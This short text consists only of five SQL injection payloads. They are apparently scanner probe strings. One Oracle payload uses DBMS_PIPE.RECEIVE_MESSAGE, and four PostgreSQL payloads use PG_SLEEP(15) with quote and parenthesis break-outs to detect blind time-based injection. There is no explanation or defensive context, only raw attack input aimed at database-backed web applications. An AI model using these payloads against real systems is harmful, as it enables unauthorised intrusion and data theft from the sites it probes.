555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555p8fdl0S9′)) OR 320=(SELECT 320 FROM PG_SLEEP(15))–

555wFISiPM7′) OR 23=(SELECT 23 FROM PG_SLEEP(15))–

555UjgwDk4b’ OR 529=(SELECT 529 FROM PG_SLEEP(15))–

555-1)) OR 455=(SELECT 455 FROM PG_SLEEP(15))–